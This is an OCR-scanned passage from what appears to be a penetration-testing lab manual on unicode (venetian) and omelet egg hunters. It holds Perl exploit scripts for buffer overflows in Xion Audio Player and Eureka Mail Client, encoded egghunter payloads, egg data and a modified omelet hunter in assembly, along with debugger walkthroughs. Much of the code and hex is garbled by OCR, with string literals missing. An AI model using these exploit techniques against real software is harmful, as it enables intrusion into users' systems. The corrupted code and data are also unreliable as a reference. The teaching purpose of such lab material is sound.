2

Erdnac

G IS TR B I B R
Y N

",$shellcode;




on a given list of bad chars, offset required to end up writing after encoded hunter and so on.

Just take into account that this code will be (a lot) longer (so you’ll need a bigger buffer) than the
unencoded/original egghunter. The code we used is 220 bytes.

What if your pavload is subject to unicode conversion ? (All your 60BBOOAADOSSO0OEE are belong o us
)

Good question !

Well, there are 2 scenario’s were there may be a way to make this work :

Scenario 1 : An ascii version of the payload can be found secmewhere in memory.

This sometimes happens and it’s worth while investigating. When data is accepted by the application in ascii,
and stored in memory before it gets converted to unicode, then it may be still stored (and available} in memory
when the overflow happens.

A good way to find out if your shellcode is available in ascii is by writing the shellcode to a file, and use the
pvefindaddr compare <filename> feature. If the shellcode can be found, and if it’s not

modified/corrupted/converted to unicode in memory, the script will report this back to you.

In that scenario, you would need to

- - Convert the egg hunter into venetian shellcode and get that executed. (The egg hunter code will be a lot bigger

- than it was when it was just ascii so available buffer space is important)

b . - Put your real shellcode (prepended with the marker) somewhere in memory. The marker and the shelicode

: must be in ascii.

* When the venetian egghunter kicks in, it would simply locate the ascii version of the shellcode in memory and

© execute it. Game over.

N Converting the egg hunter as venetian shellcode is as easy as putting the egghunter (including the tag) in a file,

. v $egghunter =

* and using alpha2. In case you're too tired to do it yourself, this is a unicode version of the egghunter, using
~ w00t as tag, and using EAX as base register :

#IinfoSec Unicode egghunter - Basereg=EAX - tag=wl0t

" 1
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The nice thing about unicode egg hunters is that it 1s easier to tweak the start location of where the egg hunter
will start the search, if that would be required.

Remember when we talked about this a little bit earlier? If the egg+shellcode can be found on the stack, then
why search through large pieces of memory if we can find it close to where the egg hunter is. The nice thing is

that you can create egghunter code that contains null bytes, because these bytes won’t be a problem here.

So if you want to replace “W66\ 8 \xCAWFFXOF” with “w66x8 [\xCAW00W00™ to influence the start
focation of the hunter, then be my guest.

Scenario 2 : Unicode payload only
In this scenario, you cannot control contents of memory with ascii shellcode, so basically everything is unicode.
It’s still doable, but it will take a little longer to build a working exploit.

First of all, you still need a unicode egghunter, but you will need to make sure the tag/marker is unicode
friendly as well. After all, you will have to put the tag before the real shellcode (and this tag will be unicode).

In addition to that, you will need to align registers 2 times : one time to execute the egg hunter, and then a
second time, between the tag and the real shellcode (so you can decode the real shellcode as well). So, in short :

- Trigger overflow and redirect execution to

- Code that aligns register and adds some padding if required, and then jumps to

- Unicode shellcode that would self-decode and run the egg hunter which would

- Look for a double tag in memory (locating the egg — unicode friendly) and then

- Execute the code right after the tag, which would need to

- Align register again, add some padding, and then

- Execute the unicode (real) shellcode (which will decode itself again and run the final shelicode)

We basically need to build a venetian egghunter that contains a tag, which can be used to prepend the real
shellcode, and is unicode friendly. In the examples above, WE have used w00t as tag, which in hex is
0x77,0%30,0x30,0x74 (= w00t reversed because of little endian). So if we would replace the first and third

byte with null byte, it would become 0x00,0x30,0x00,0x74 (or, in ascit : t —null — 0 — null)

A little script that will write the egghunter in a binary form to a file would be :

#!/usr/bin/perl
# Little script to write egghunter shellcode to file
# 2 files will be created :
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# - egghunter.bin : contains w0t as tag

# - egghunterunicede.bin : contains 0x00, 0x30,0x00,0x74 as tag
f

#

ny $Segghunter =

" ". # this is the marker/tag: w00t

n "n.
’

n{FILE, " "y
t FILE Segghunter;
= (FILE};

print F
cpen (PILE, " "y ;

print. FILE " ";
print FILE " "y

print FILE " " #null

print FILE " " #0

print FILE *“ " fnull

print FILE “ "y #t

I TTYT T N ",
tik AL oLrr. ‘

closs{(FILE);

As you can see, it will also write the ascii egghunter to a file — may come handy one day.

Now convert the egghunterunicode.bin to venetian shellcode :

./alpha2 eax --unicode --uppercase < egghunterunicode.bin
PPYATATATATAQATAXAZAPAIQADAZABARALAYATIAQAIAQAPASAAAPAZIAT
1IATATAJLIIATATAXASGAAPAZARABQIIATQIAIQII1I11AIAJQIIAYAZRARA
BABAB30APB944JBQVSQGZKOLOORBZBILRBOXHMNNOLLEPZ3DJOGXKPNPKP
RT4ARKZZV0O20JI60RUIJGKOKTA

When building the unicode payload, you need to prepend the unicode compatible tag string to the real (unicode)
shellcode : “0t0t” (without the quotes of course). When this string gets converted to unicode, it becomes 0x00
0x30 0=00 0x74 0x00 0x30 000 0x74... and that corresponds with the marker what was put in the egghunter
before it was converted o unicode — see script above)

Between this (10t tag and the real (venetian) shellcode that needs to be placed after the marker, you may have to
include register alignment, otherwise the venetian decoder will not work, If, for example, you have converted

. your real shellcode to venetian shellcode using eax as basereg, you’ll have to make the beginning of the decoder
_ point to the register again.

. In most cases, the egghunter will already put the current stack address in EDI (because it uses that register to

- keep track of the location in memory where the egg tag is located. Right after the tag is found, this register

" points to the last byte of the tag). So it would be trivial to (for example) move edi into eax and increase eax until
it points to the address where the venetian shelicode is [ocated, or to just modify edi (and use venetian sheilcode
generated using edi as base register)
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The first instruction for alignment will start with null byte (because that’s the last byte of the egg tag (30 00 74
00 30 00 74 00 )that we have used). So we need to start alignment with an instruction that 1s in the 00 xx 00
form. 00 6d 00 would work (and others will work too).

Note : make sure the decoder for the venetian shelicode does not overwrite any of the egg hunter or eggs itself,
as it obviously will break the exploit.

Let’s see if the theory works
We’ll use the vulnerability in xion audio player 1.0 build 121 again to demonstrate that this actually works. We

are not going to repeat all steps to build the exploit and alignments, but we have included some details about it
inside the exploit script itself.

# [(*] Vulnerability : Xion Audio Player Local BOF

¥ Script provided 'as is', without any warranty.
# Use for educaticnal purposes only.

#

my Ssploitfile=" v

my Sjunk = U " ox 25%4; fofzZses until we hit SEH

my $nseh=" " #put something intc eax -~ simulate nop
ny $senh=" "; #ppr from xion.exe - unicode compatible

# will also simulate nop when executed

# after p/p/r is executed, we end here

# in order to be able to run the unicode decoder

# we need to have eax pointing at our decoder stub

# we'll make eax point to our buffer

# we'll do this by putting ebp in eax and then increase eax
# until it points to cur egghunter

#first, put ebp in eax (push / pop)

my Salign=" " #push ebp

Salign=$align." " #align/nop

$align=S%align.™ "; fpop eax

Salign=%align.” " falign/nop

#now increase the address in eax so it would point to cur buffer
$align = Salign." ", fadd eax,11001300
$align=%align." " #align/nop

$align=%align." " #sub eax, 11000200
$align=%align." " #align/nop

#eax now points at egghunter
#iump Lo eax now

my Sjump = " "y #poush eax
$jump=Sjump." "; #nop/align
$jump=$jump." “; #ret

#£ill the space between here and eax
my Spadding=" " x 73;

#this is what will be put at eax
riy Segghunter ="

" (138
r

# - ok so far the explolt looks the same as the one used in lab 7
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except for the fact that the shellcode is the unicode version of
an egghunter looking for the " " egg maxrker
the egghunter was converted to unicode using =ax as basereg

Between the egghunter and the shellcode that it should lock for
WE'll w:zite some garbage {a couple of X's in this case)
So we'll pretend the real shellcode is somewhere out there

S = oI e e o o

n

my Sgarbage = x 50;

# real shellceode {venetian, uses EAX as basereg)
# will spawn calc.exe
iy $shellcode=" "

" m o,
2

# between the sgg marker and shellcode, we need to align
# so eax points at the beginning of the real shellcode
— 1

my Salign? "7 d#nop, push edi, neop, poOp €ax, nop
Salign2 = Salignz2." "y #mov ecx, 0xaal001ib00
$align2 = S$align2." "; #add al,ch + nop (increase eax with 1b)
$5align2 = $align2." "; #vush eax, nop, ret

#eax now points at the real shellcode

#£i11 up rest of space & trigger access violation

my $filler = (" "o (15990-langth(Sshellicode)) ) ;

#payload

my Spayload = $junk.$nseh.$seh.$align.S$jump.Spadding. Segghunter;
S$payload=Spayload.$garbage." ".%align2.$%shellcode.$filler;
cpen (myfile, " "y

print myfile Spaylioad;

print U " . lengtn{Spayload) . ";

close (myfile);
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pwned !

Note : if size is really an issue (for the final shelicode), you could make the alignment code a number of bytes
shorter by using what is in edi already (instead of using eax as basereg. Of course you then need to generate the
shellcode using edi as basereg), and by avoiding the push + ret instructions. You could simply make edi point to
the address directly after the last alignment instruction with some simple instructions

Some tips to debug this kind of exploits using Immunity Debugger :

This is a SEH based exploit, so when the app crashed, see where the SEH chain is and set a breakpoint at the
chain. Pass the exception (Shift F9) to the application and the breakpoint will be hit. On my system, the seh
chain was located at 0x0012f2ac

Trace through the instructions (F7) until you see that the decoder starts decoding the egghunter and writing the
original instructions on the stack.
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505 BYTE £1R D51 (ECHI, AL,

In my case, the decoder started writing the original egghunter to 0x0012f460.

As soon as we could see the first instruction at 0x0012f460 (which is 66 81 CA and so on), we set a breakpoint
at 0x0012£460.

o decoder loop

Here we see the first 2 instruchons of the
eqq hunter being reproduced by the
decoder

" Then press CTREAF12. Breakpoint would be hit and you would land at 0x0012£460. The original egghunter is
now recombined and will start searching for the marker.
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This is the code that
searches through memory,
locking for the marker (74

(0 30 00 in our case)

[f you get here, then the egg
has been found !

I

; E
1 EY
£50 ED

ax

bp 08121478

At 0x0012{47b (see screenshot), we see the instruction that will be executed when the egg has been found. Set a
new breakpoint on 0x0012f47b and press CTRL-F12 again. If you end up at the breakpoint, then the egg has
been found. Press F7 (trace) again to execute the next instructions until the jmp to edi is. made. (the egghunter
has put the address of the egg at EDI, and jmp edi now redirects flow to that location). When the jmp edi is
made, we end at the last byte of the marker.

This is where our second aligment code is placed. It will make eax point to the shellcode (decoder stub) and
will then perform the push eax + ret

alignment code from
Salign2
Makes eax point 1o
shelicode and performs

| This is the begin of the
real (venetian) shelicode
{ecoder will recombine
£ PTR OSs[EG3, the original code and
execute it {calc.exe)

FIR D¢ TERY
IR D3s[£€43)
PIF D5: TEAAERIFAL, & PWNED |

BIE Dsele
16 O%s
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Omelet egg hunter (All your eggs, even the broken ones, are belong to us )

Huhl ? Broken eggs ? What you say ?

What if you find yoursel{ in a situation where you don’t really have a big amount of memory space to host your
shellcode, but you have multiple smaller spaces available / controlled by you ? In this scenario, dictated by
shellcode fragmentation a technique called omelet egg hunting may work.

In this technique, you would break up the actual shellcode in smaller pieces, deliver the pieces to memory, and
faunch the hunter code which would search all eggs, recombine then, and make an omelet ... err ... we mean it
would execute the recombined shellcode.

The basic concept behind omelet egg hunter is pretty much the same as with regular egg hunters, but there are 2
main differences :

- The final shellcode is broken down in pieces, multiple eggs
- The final shellcode is recombined before it is executed, it’s not executed directly after it has been found

In addition to that, the egghunter code (or omelet code) is significantly larger than a normal egghunter (around
90 bytes vs between 30 and 60 bytes for a normal egghunter)

It is similar to egg-hunt shellcode, but will search user-land address space for multiple smaller eggs and
recombine them into one larger block of shellcode and execute it. This is useful in situation where you cannot

inject a block of sufficient size into a target process to store your shellcode in one piece, but you can inject
multiple smaller blocks and execute one of them.

How does it work?
The original shellcode needs to be split in smaller pieces/eggs. Each egg needs to have a header that contains
| - The length of the egg
- An index number
- 3 marker bytes (use to detect the cgg)

. The omelet shellcode/egg hunter also needs to know what the size of the eggs is, how many eggs there will be,
- and what the 3 bytes are (tag or marker) that identifies an egg.

When the omelet code executes, it will search through memory, look for all the eggs, and reproduces the
original shellcode (before it was broken into pieces) at the bottom of the stack. When it has completed, it jumps
to the reproduced shellcode and executes it.  The omelet code written by skylined injects custom SEH handlers
i order to deal with access violations when reading memory.
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eggs and produce the omelet code. Download the scripts from here: http://code.google.com/p/w32-seh-omelet-
shellcode/downloads/list (The zip file contains the nasm file that contains the omelet hunter and a python seript
to create the eggs). If you don’t have a copy of nasm, you can get a copy on your Virtual Machine or from here:
http://www.nasm.us/pub/nasm/releasebuilds/

Unzip the omelet code package to c:\omelet. Nasm is installed under “c:\program files\nasm™.
Compile the nasm file to a binary file :

C:\omelet>" " ~-f bin -o w32 omelet.bin w32 SEH cmelet.asm -
wterror

Note, you only need to do this one time. Once you have this file, you can use it for all exploits.

How to implement the omeletl egg hunter ?

1. Create a file that contains the shellcode that you want to execute i the end. (We used “shellcode.bin™)

You can use a script like this to generate the shetlcode.bin file. Simply replace the $shellcode with your own
shellcode and run the script. In my example, this shelicode will spawn cale.cxe:

my Sscfile=" ;
my S$shellcode=" "

" "

" rLlengtn{$shellcode) . " ".8scfile.™ "
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calc, just replace the contents of $shellcode.

2. Convert the shellcode to eggs

Let’s say we have figured out that we have a number of times of about 130 bytes of memory space at our
disposal. So we need to cut the 303 bytes of code in 3 eggs + some overhead. We could end up with 3 to 4
eggs. The maximum size of each egg is 127 bytes. We also need a marker, of 6 bytes in size. We'll use
OxBADASS as marker. '

Run the following command to create the shellcode :

C:\omelet>w32 SEH omelet.py
Syntax:
w3Z SEH _omelet.py "
[egg size] [marker bytes)

Where:

omelet bin file = The omelet shellcode stage binary code followed by three
bytes of the offsets of the ™ " "
and " " variables in the code,

shellcode bin file = The shellcode binary code you want to have stored in
the eggs and reconstructed by the omelet shellcode stage
code,

output txt file = The file you want the omelet egg~hunt cede and the eggs
to be written to (in text format).

egg size = The size of zach egg (legal waluas: 6-127, default: 127)

marker bytes = The vaiue you want to uss2 as a marker to distinguish the
eggs from other data in user-land address space (legal
valuaes: O0-0xFEFEFF, default wvalus: (O0x280876)

In our case, the command could be :
C:\omelet>w32 SEH omelet.py w32 omelet.bin shellcode.bin calceggs.txt 127 OxBADASS
Open the newly created file calceggs.txt. It contains:

- The omelet egghunter code (which should be executed and will hunt for the eggs)

- The eggs that must be placed somewhere in memory.
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iﬁ'ﬂﬁwmaﬂﬁfﬂa‘
Ff This i3 the binary code that needs to be execoted to find the eggs.
{4 reoowoine the ovigasl shelicode and edecuts 1o, (v 13 85 byrea:

awslet code =

Py I IV RI PV REBY M2 3N H S I g S NG N A s T H B S TA VAT 2L w AEY SOk BF R FEV MAD W 2 IS n FEY MER VDAV kB w830
AESARD3 VT ROCUR S kP TV R EP RSN 0T kA R 0B 28T e F 3N A B T P 3 I RCON m S W £ SR OB R B kOO 0 S
Wy B AT PPy N PP PR PPy 25 P xS BB O T a PR PRV PP U 6 1 xBIN w66 5 18y x 585 x 6 6 x ODA nF FL x0FY
KAGAX TV ROEY KF VMBSV UDE KPP RFFARFFARI A ROV H GG\ NTF FY RO A"

7/ These are Dhz e CLhat oeed £o be injected 1ptd Che Largel process
Ff foar the cmeler ahelioode to e able to recrente the original sheliocde
SFO{yow can insern Elem X many Limees ad ¢ou vant, &2 lony as ssch oong as
: df immerted at feast oncel. They are 127 byoes eaok!

o equd = .
UM TAVHEF LRSS MDAV RBAV I hEZ R DAY T I kDAL N 72N T AL RSB Y R OO ¥ EPY wd O A AT A0 R EFL A3 K43 43
KAXY AL wS N SRV N SA RS, G0N WX, IO S M S I AV A I R SO 0N w A I I AL B w8 w0 H L LR 20N 30y
LexdZiaia kg 1V R4 HS VI L A LN S I ES W R L2V 8 32V k42 L2 W x 3O K20 M A2V RS, 1 SO RIBV 41V 43\ Ay
XKFANHEFVHIBY X ACN A A AR kSO AV KA S0V KAV IO xS R EM O BV kA M I SN ATV RSO R4S A By 9 2
Crsdd i 38y kg3 v I x4 5y x5 1V AR AP A A B K S0 R4P U 220 w38 40V R ABY RS I S n4 T B 23 k32 w4 AN
ELEAF S B AN AR IS R AT TARE-L AT (ST AR KL

19 egEl =
AU TAVHFEYRSEY MPAVKEAL K3 4% AV RAELV GV w3 1A R4, 2 SO0 40 XSO RSEL A0 ATk R G0 9N 1B T 24 a4 A3y
WISV BT I I kSR A DY a3 D 1 w40 w S\ S AN S BV KA RV 2 S AV ATV AT RS nA L B 1A kAT 1 I g wd
BARSEVHABY RS K AC U B K54V RAF RS LA RS KA IS 1V RAA% AR HA A6 kA0 HAB RG4S X A0\ RET K 4B 15T 4By
HE LN HAF A RAS KT RS n SV AR H B AT A B A SN AT AT A BN S S DA A RN R B 1A DY KBS RS 1 AT x gV R
Ay RA3V R x40 AT NS L n Py BN nAB, wd S g I\ SO (RO O BN KA B kB A D 2B kAT m Y N n SO k30N 24T
RIBLHSANXEOY KIS MG Wi KA F Y WA\ R 3D KI5 ™2

i eggd -
Y TROKE DA RES IR ALREALOICH AR VD AC ARV NS RIS 3N NIENVKARN 1IN ARV EEN HACY RAFUN L 250w
HAAN SO SO A2 NGB ATV w0 WA wE A 223 AU NS I wAFY WA S, IS AN R IAL K AR M AEN AL NS A w4y Iy xd
By 3T g BN APy R RITYV A2V K I3RS BT L A R AC R 2V RAB YA SN K ST kA 13 R A0 K 301 2 A0\ K 404 2405 x40
AFR% RA0LHI0Y KAV K AON X408 €401 KA0Y X104 K00 AT RA0N 120V AT A0 FAGY A0 R F0Y 1AL K A0 R A0 A0 A =R
0% =0y 240N x40Y 220 2408 2 40% 400 3 404 A0 A O w400 080 40N e 0 330, w400 w030 x40 w A0 R 20 40 x4
SAGVREOY KADY A0 AT HA0% KDY HAO UV H S0 890

If you look closer at the eggs, you’ll see that the first 5 bytes contain the size (0x7A = 122), index (0xFF - OxFE
— 0xFD), and the marker (0x55,0xDA,0xBA => 0xBADASS5). 122 + 5 bytes header = 127 bytes. The next
bytes in the egg are taken from the original shellcode from our calc.exe payload. In the the last egg, the
remaining space is filled with 0x40

3. Build the exploit

Let’s test this concept in our Eureka Mail Client exploit. We’ll put some garbage between the eggs to simulate
that the eggs were placed at random locations in memory :

use Socket;

#£fi11 out the local IP or hostname

#which i1s used by Eureka EMail as POF3 server
friote : must be exact match !

my Slocalserver = " ",

#calculate oif

oifzet to EIP
"oy (723 - lsmunn{Slocalserver));

Sret=pachk {('V',0xTE4TBCAF); #jmp esp from user32.dll
$padding = " " x 1000;

my Somelet code =
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" .
my Seggl = " .
1 "
tE "
Lad "
" "
tt Ll
n ",

my Segg? = "
t "
Al 13}
1" "
it "
[} "
" "
my Seggl3 = " "
1] 1"
i L
" "
11 It
i 1)
" n
my Sgarbage=" " ox 10;

my épayload=$junk.$ret

.$omelet code.$padding. $egyl.Sgarbage.$egg2.Sgarbage. Segq3;

print ™ " "
srint " " " "y
print O Y "
print " " ";
print " n e
#set up listener on port 110
my $port=110;
1wy Sproto=getprotobyname ('tep');
socket (SERVER, PFINET, SCCK _STREAM, Sproto};
ny S$paddr=sockaddr_in(Sport, INADDR_ANY) ;

indd (SERVER, $paddr) ;
listen (SERVER, SOMAXCONN) ;
Erint " ";
wring " "
my Sclient addr:
while ($client addr=accept (CLIENT, SERVER))
{

nring ";

while{l)

{

print CLIENT * " S$pavyload." ";
pring " "Llamnyoh ($payload) "
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¢ CLIENT;

1] 1

Run the seript :

C:\sploitsieureka>perl infosec eurekasploeoitd.pl
Payload : 2700 bytes
Omelet code : 85 bytes
Egg 1 : 127 bytes
Egg 2 : 127 bytes
Egg 3 : 127 bytes
[+] Listening on tep port 110 [POP3] ...
{+] Configure Eureka Mail Client to connecit to this host

Result : Access Violation when reading [00000000]

[k Cx7EATOCAF |

sl yelafion wher sading

When looking closer at the code, we see that the first instruction of the omelet code puts 00000000 in EDI
(\x31\xFF = XOR EDLEDI). When it starts reading at that address, we get an access violation. Despite the fact
that the code uses custom SEH injection to handle access violations, this one was not handled and the exploit

fails.

Set a breakpoint at jmp esp (0x7E47BCAF) and run the exploit again. Take not of the registers when the jump
to esp 1s made :
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Ok, let’s troubleshoot this. Start by locating the eggs in memory . After all, perhapé we can put another start
address in EDI (other than zero), based on one of these registers and the place where the eggs are located,
allowing the omelet code to work properiy.

First, write the 3 eggs to files (add the following lines of code in the exploit, before the listerier is set up):

open (FILE, "
srint FILE Seqggl:

A{r'--r-rr"n\

L L)

cn(FILE

prin: FILE $eggZ;

| close (FILE) ;

open{FILE, "

print FILE Segg3;

clese(FILE) ;

II);

")

At the jmp esp breakpoint, run the following commands :

Ipvefindaddr compare ¢:\tmpieggl.bin

BEADFAGED - -
BERDFOBD T
GEADFaGD
Fﬁﬁn
oD
[IF Gl
BRADFGEN
GEROF OG0

BERDFBED
GERDFAGD
| BEaDFEHGh
GERDE DD

BEHDF@&D:

at loest H'l'ﬂ
Licode unmodi
v &t locatio o

'pvefindaddr compare c:\tmplegg?.bin
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BBHUF ga:
SERADFAAD!
GERDFBQB

b rftng LEATT oy
. -3 searching For kfrd*afE\V“S\"da\"ba\y3i\x#a\a4e
Comparing bytes from file with nepory :
. * ﬂeadlng pemory at location @ ExBB4PI0DF
BEADFOSn - Hooray, < ified
BBADFYS: eadi EY GA47407L
N b

HOB120067

o

: dznq Fils ci~g p\cgqs.bxn wre
ad 14. butes Feom file

arching for ~
S Fzrm fi

at ilocation 3
BRabF 3 lEeads unnmadif
SEADFAB0. i ading ¥ a% lu,;tnun N
BERRFASN! 3 .

Ok, so the 3 eggs are found in memory, and are not corrupted.

Look at the addresses. One copy is found on the stack (0x00127777), other copies are elsewhere in memory
(0x00477277). When we look back at the registers, taking into account that we need to find a register that is
reliable, and positioned before the eggs, we see the following things :

EAX 00000000

ECX 7C91005D ntdll.7C%1005D

EDX 00140608

EBX Q0450C266 Eureka*E.OOQSOZGG

ESP 0012CheC

EBP 00475BFC Eureka E.00475BFC

ESI 00475BF8 Eureka E.0C475BFSB

EDT 00473678 ASCII ¢ "

EIP 0Cla2CD6C

0 ES 0023 32bit C(FFFFFFFF)
C5 001B 32bit C(FFFFFFFFE)

S$S 0023 32bit C(FFFFFFFF)

DS 0023 32bit O (FFFFFFFF)

FS 0038 32bit TrrFDFO0O(FFF)

GS 0000 NULL

QuURERWLNREYO
OO0 OO0

<

LastErr ERROR INVALID WINDOW HANDLE ({00000578)
EFL 00000202 {WO,NB,NE,A,NS,PO,GE, G)

ST) empty -UNORM FBX8 00000202 0000CO1B
STl empty -UNORM B7FC 00000000 F8S4BBDO
S$T2 empty -~UNORM A7OE 06D90000 0120027F
ST3 empty +UNORM 1F80 (00400000 BFB131CE
ST4 empty %#.19L

STS5 empty -UNORM CCB4 00000286 00000CLB

ST6 empty 9.5000000000000006000
877 empty 19.000000000000800000
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2
FST (0120 Cond 0 O
A

FCW 027F Prec NEAR,S

EBX may be a good choice. But EDI is even better because it already contains a good address, located before
the eggs. That means that we just have to leave the current value of EDI (instead of clearing it out) to
reposition the omelet hunter. Quick fix : replace the xor edi,edi instruction with 2 nops.

‘The changed omelet code in the exploit nows looks like this :

my Somelet code = " x90\x90

Run the exploit again, (Eureka stiil attached to Immunity Debugger, and with breakpoint on jmp esp again).
Breakpont 1s hit, press F7 to start tracing. You should see the omelet code start (with 2 nops this time), and
mstruction “REPNE SCAS BYTE PTR ES:[EDI]” will continue to run until an egg is found.

Based on the output of another “!pvefindaddr compare c:\tmpieggl.bin” command, we should find the egg at
0x00473C5C

© 2. Tag found, go to next
il’lStfl.lCﬁOﬂ

1. Find tag -

Al

IR Fragltee




‘When the first tag is found (and veuﬁed to bc cmrect) a location on the stack is caiculated {0x00126000 in my
case), and the shellcode after the tag is copied to that location. ECX is now used as a counter {counts down to (1)
so only the shelicode is copied and the omelet can continue when ECX reaches 0.
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When the shellcode in eggl is copied, (and we can see the garbage after eggl), the omelet code continues its
search for part 2
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- This process repeats itself until all eggs are found and written on the stack. Instead of stopping the search, the
omelet code just continues the search... Result : we end up with an access violation again :

- use Shift+F7/F8/F3 to pas:

So, we know that the omelet code ran properly. We should be able to find the entire shellcode in memory
-, somewhere, but it did not stop when it had to. First, verify that the shellcode in memory is indeed an exact copy

of the original shellcode.

. We still have the shellcode bin file that was created earlier when building the omelet code. Copy the file to
~ c:Mmp and run this command in Immunity Debugger :

Ipvefindaddr compare c:\tmpishellcode.bin

Copyright InfoSec Institute, Inc. | Expert Penetration Testing Lab Manual



orrupbionr at pocitson 27 1 Urian =

Corruption at position : Original

Lorruptean at position ¢ : O

Lonuph- f at possteon 20D ¢ Or

Corruption A 3 Originai

Cc»zuupbt-:rn at position I 3 Gr:gmal
> Oniy sz origh >

]
¥
]
1
'
'
L
r
v
T
¥
i
r
H
i
i
I
H
1
H
1
1

GEARDFROD | : b=t 11y
QERCFEND Fiok at o ¢ Opigina
BBERbFesn Lruption at z areainal
RENDEENR rorridpt ion ton EZE : Original

Ok, the entire unmodified shellcode was indeed found at 0x00126000. That’s great, because it proves that the
omelet worked fine, it just did not stop searching, tripped at the end, fell flat on the floor and died.

Since the eggs are in the right order in memory, perhaps a slight modification of the omelet code may make it
work. What if we use one of the registers to keep track of the remaining number of eggs to find, and make the
code jump to the shellcode when this register indicates that all eggs have been found.

We need to start the omelet code with creating a start value that will be used to count the number of eggs found
: 0 — the number of eggs or OXFFFFFFFF — number of eggs + 1 (so if we have 3 eggs, we’ll use FFFFFFFD).
After looking at the omelet code in the debugger, we noticed that EBX 1s not used, so we’ll store this value in

EBX.

Next, what we’ll make the omelet code increment the value by one each time an egg is found. When the value is
FFFFFFFF, all eggs have been found, so we can make the jump.

Opcode for putting OxFFFFFFFD in EBX 1s \wbb\x fd\x ff\x{f\x{f. So we’ll need to start the omelet code with this
instruction.

Then, after the shellcode from a given egg is copied to the stack, we’ll need to verify if we have seen all the
eggs or not. (so we’ll compare EBX with FFFFFFFF. If they are the same, we can jump to the shellcode. If not,
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increment EBX. ) Copymg the shclicode to the Stack is performed via the following mstruction : F3:A4, so the
check and increment must be placed right after.

Right after this instruction, we’ll mnsert the compare, jump if equal, and “INC EBX” (\x43)

Let’s modify the master asm code :

BITS 32

i egg:

; LL YT M1 M2 M3 DD DB DD ... {(LL * DD)

; LL == 3ize of eggs {same for all eggs)

; IY == Index of egg (different for each egg)
; M1, M2,M3 == Marker byte (same for all eggs)
; DD == Data in egqg (different for each egg)

marker equ 0x280876
egg size equ 0x3
max index equ 0Ox2

start:
mov ebx,OxfEfLffffff-egyg size+l ; ** Added : put initial counter in EBX

jmp SHORT reset stack

create SEH handler:

PUSH ECX ; SEH frames(0].nextframe == (OxFFFFFFFF
MOV [FS:EAX]}, LESP ; SEH chain -> SER frames([0]
CLD ; SCAN memory upwards from 0
scan_loop:
MOV AL, egg size ; EAX = egg size
egg_size location egu $-1 - $$
REPNE SCASE ; Find the first byte
PUSH EAX ; Save egg_size
MOV ESI, EDI
LODSD ; BAX = II M2 M3 M4
XOR EAX, (marker <<« 8) + OxFF ; EDX = {(II M2 M3 M4) "~ (FF M2 M3 M4)
; == egqg_ index
marker bytes locaticn equ $-3 - $3§
CMP EAX, BYTE max index ; Check 1f the value cf EDX is < max_index
max_ index_location aqu $-1 - 35
JA reset_stack ; No =-» This was not a marker, continue scan
POP ECX i ECX = egg size
IMUL ECX ; EAX = egqg size * egg_index == egy offset
; EDX = (0 because ECX * EAX is always less than 0x1,000,000
ADD EAX, [BYTE FS:EDX + 8] ; EDI += Bottom of stack ==
; position of egg in shellcode.

XCHG EAX, EDI
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copy loop:

REP MOVSB ; copy egg to basket
CMP EBX, OxFFFFFEFF ; ** ddded : see if we have found all =aggs
JE done ; ** Added : If we have found zll eggs,
;F* jJump to shellcode
INC BEBRX ; ** Added : increment EBX
; {(i1f we are not at the end of the eggs}
MOV EDI, ESI ; EDI = end of esgg

reset stack:
; Reset the stack to prevent problems cause by recursive SEH handlers and set
; ourselves up Lo handle and AVs we may cause by scanning memory:

XOR EAX, EAX ; EAX = 0

MOV ECX, {FS:EAX] ; EBX = SEH _chain => SEH frames[X]
find last SEH loop:

MOV ESP, ECX ; ESP = SEH frames[X]

POP ECX ; EBX = SEH frames([X].next frame

CMp ECX, OxFFFFFFFF ; SEH frames([X].next frame == none ?

JNE find_last_SEH_loop ; No "X -= 1", check next frame

POP EDX ; EDX = SEH_frames[0].handler

CALL create SEH handler ; SEH frames[0].handler == SEH handler

POPA ; ESI = [ESP + 4] -»>

; struct exception info
LEA ESP, [BYTE ESI+Ox18] ; ESP = struct exception_info->exception_addr
BOP EAX ; EAX = exception address 0x??272??7?7?772
OR AX, OxFFF ; BAX = 0Qx??7??7?FFF
INC EAX ;o BAX = Ox??7?72FFF + 1 -> next page
Js done ; EAX > OxT7FFFFFFF ===> done
XCHG EA¥, EDI ; EDI => next page
JMP reset_stack
done:
XOR EAX, EAX ; EAX = 0
CALL [BYTE FS:EAX + 8) ; EDI += Bottom of stack

; == pesition of egyg in shellcode.

db marker bytes location
db max_index location
db egg _size locatiocn

Compile this modified code again, and recreate the eggs :

“c:\program files\nasm\nasm.exe" -f bin -0 w32 omelet.bin w32 SEH infoseccOd3r omelet.asm -w+error
w32 SEH omeletpy w32 _omelet.bin shellcode.bin calceggs.txt 127 OxBADASS

Copy the omelet code from the newly created calceggs.txt file and put it in the exploit.

Exploit now looks like this :

sise Socketb;

#fill out the lacal IP or hostname

fwhich is used by Eureka EMail as BOF3 server
fnote : must be exact match !
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iy Slocalserver = "

fcalculate »fisat to EIP

=y Siunk = " " ox (723 - ian
Sret=uaon('V', 0xTE47BCAF) ;

© S$padding = " " ox 1000,
my Somelet code = U
" ", #:7 EBX is FFFF
" " #1f not, increase EBX and
"
"

my Seggl = "

"

my Seggl =

oy Segg3 o= M

my $garbage="

Iy Spayload=$junk.$ret.$omeletmcode.$padding.$egg1.$garbage.Segg2.$garbage.$eg93;

" r
1] 1
n 1
£ 1
r "

#set up listener on port 110
v Sport=110;
v Sproto=gaiorolchynans {fLep

ti{Slocalserver));

#imp esp from userl32.dll

#put

(1]

# compare EBX with

Oxfffffffd in ebx

FFFFFFEF

FFFF, jump to shellcode

conTInuge

®x 10;

Somelet code) .

l);

).

Copynight InfoSec Institute, Inc. | Expert Penetration Testing Lab Manual




cokst (SERVER, PEINET, SOCK STREAM, $proto) ;
$paddr=sockaddr_in{$port, INADDR_ANY);
SERVER, $paddr)

1 (SERVER, SOMAXCONN) ¢

mrint M "
my Sclient addr;
while (Sclient addr=zccapt (CLIENT, SERVER]))
{

crint U "

Scent=1;

while ($cnt < 10)

{ .

wrint CLIENT " " S$payload." “;
print " "Llengrh($payload) " "y

Scnt=%cnt+l;

CLIENT;

" n
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Lab #7
Writing Windows Shellcode
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Every shellcode is nothing more than a little application — a series of instructions written by a human being,
designed to do exactly what that developer wanted it to do. It could be anything, but it is clear that as the
actions mside the shellcode become more complex, the bigger the final shellcode most likely will become.

When we look at shellcode in the format it is used in an exploit, we only see bytes. We know that these bytes
form assembly/CPU instructions, but what if we wanted to write our own shellcode. .. Do we have to master
assembly and write these instructions in asm? Well, it helps a lot. But if you only want to get your own custom
